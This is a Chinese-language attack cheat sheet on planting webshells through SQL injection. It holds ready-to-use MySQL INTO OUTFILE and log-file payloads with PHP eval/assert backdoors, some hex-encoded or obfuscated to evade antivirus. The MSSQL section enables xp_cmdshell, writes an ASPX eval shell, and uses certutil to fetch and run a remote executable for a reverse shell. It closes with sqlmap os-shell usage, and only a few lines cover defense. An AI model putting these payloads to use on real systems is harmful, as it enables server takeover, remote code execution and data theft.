SQL注入写webshell
1.MySQL写shell
写入WebShell的几种方式
1、利用Union select 写入
需要满足的条件
- 对web目录有写权限
- GPC关闭(GPC:是否对单引号转义)
- 有绝对路径(读文件可以不用,写文件需要)
- 没有配置secure-file-priv
?id=1 union select '<?php assert($_POST["cmd"]);?>’ into outfile 'D:/WWW/evil.php'
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'D:/WWW/evil.php'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "D:/WWW/evil.php"
2、利用分隔符写入
?id=1 into outfile 'D:/WWW/evil.php' fields terminated by '<?php assert($_POST["cmd"]);?>'
?id=1 into outfile 'D:/WWW/evil.php' lines terminated by '<?php phpinfo() ?>'--+
?id=1 LIMIT 0,1 INTO OUTFILE 'D:/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --+
同样的技巧,一共有四种形式
?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#
3、利用log写入
新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。
需要满足的条件
- 对web目录有写权限
- GPC关闭(GPC:是否对单引号转义)
- 有绝对路径(读文件可以不用,写文件需要)
- 需要能执行多行SQL语句
show variables like '%general%'; # 查看配置
set global general_log = on; # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址
select '<?php eval($_GET[g]);?>' # 写入shell
set global general_log=off; # 关闭general log模式
在高版本的mysql中默认为NULL,就是不让导入和导出
解决办法:
在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=
在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=
使用慢查询日志绕过此限制
show variables like '%slow_query_log%'; #查看慢查询日志开启情况
set global slow_query_log=1 #开启慢查询日志
set global slow_query_log_file='D:/phpStudy/WWW/evil.php; #修改日志文件存储的绝对路径
'<?php @eval($_POST[1]);?>' or sleep(11); #写入shell
show global variables like '%long_query_time%'; #使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间
免杀shell
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['cmd']));?>"
4.高权限文件读取
load_file()读文件——select load_file(‘目录’)。路径使用\\
,否则会被当作转义符号。
http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+
防御姿势
设置 secure_file_prive = null (不允许导入和导出)
防止暴露网站绝对路径
正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限
2.MSSQL写shell
绝对路径写webshell
找绝对路径的方法:
- 报错信息
- 配置文件
- cmd命令搜索文件
- 找旁站路径
- xp_dirtree
- xp_subdirs
- 修改404页面
- 爆破路径
1.xp_cmdshell
通过堆叠注入开启xp_cmdshell,xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启
开启xp_cmdshell命令如下:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
有的时候不支持多句执行,那就采用分步执行,开启xp_cmdshell过程如下
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效
可以通过exec sp_configure查看xp_cmdshell状态:
exec sp_configure
执行系统命令:
exec master..xp_cmdshell 'whoami';
获取webshell:
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx'
此处注意><符号的转义,网页编码和数据库编码一般是相同的,中文一般都要URL编码
获取webshell,通过windows的多种cmd下载文件的方式,下载远程的可执行文件,通过该方式可用于反弹shell
# 下载恶意程序
exec master.dbo.xp_cmdshell 'cd c:\\www & certutil -urlcache -split -f http://ip/file.exe';
执行程序
exec master.dbo.xp_cmdshell 'cd c:\\www & file.exe';
使用结束后,可自行关闭xp_cmdshell
关闭xp_cmdshell过程如下:
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 0; //关闭xp_cmdshell
RECONFIGURE; //配置生效
2.恢复xp_cmdshell:
判断是否xp_cmdshell存储过程,返回1代表存在:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
xp_cmdshell
是有可能被管理员手动删除的(尤其是SQL Server2005之前默认开启的版本),以下是删除xp_cmdshell
的命令:
exec master..sp_dropextendedproc xp_cmdshell;
当然,即使xp_cmdshell
被删除,也是有办法恢复xp_cmdshell
的:
exec master..xp_dropextendedproc xp_cmdshell,@dllname='xplog70.dll' declare @o int;
恢复xp_cmdshell需要xplog70.dll,但有的管理员会将xplog70.dll一并删除:
如果有上传权限,可以上传xplog70.dll,并执行:
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;
3.数据库差异备份getshell
备份拿shell算是常见,但往往备份后包含木马的文件很大。
注意:目标路径必须有写权限
# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
backup database db_name to disk = "目标文件路径.bak"; # 将数据库备份至文件中
create table test (a image); # 创建临时表
insert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);# 写入木马
backup database db_name to disk = '目标文件路径.asp' with differential,format; # 重新备份,木马写入文件
4.日志差异备份getshell
可不需要sa权限,如果不能备份,可能是访问权限问题,可切换目录尝试;如果临时表存在也可能导致失败,可先判断临时表是否存在,再尝试。
条件:
- 数据库之前备份过
- 恢复模式是完整模式
- 目标路径有写权限
# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
alter database db_name set RECOVERY FULL; # 将数据库的恢复模式设置为完整模式
create table temp (a image); # 创建临时表
backup log db_name to disk = '任意绝对路径.bak' with init; # 备份数据库日志,并写入文件中
insert into temp (a) values (0x3C25657865637574652872657175657374282261222929253E); # 在临时表中插入木马字符串
backup log db_name to disk = '木马的绝对路径.aspx'; # 将含有木马字符串的日志备份写入文件中
3.sqlmap拿shell
使用sqlmap的os-shell的功能
前提是必须爆出网站的物理路径:此方法比较多,比如:PHPinfo文件,访问错误报路径,debug调试开启爆路径等。
sqlmap.py -r filename.txt --os-shell
python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --os-shell
选择网站的语言(默认PHP)
输入网站的绝对路径
查看权限
使用命令:
whoami
ipconfig
net user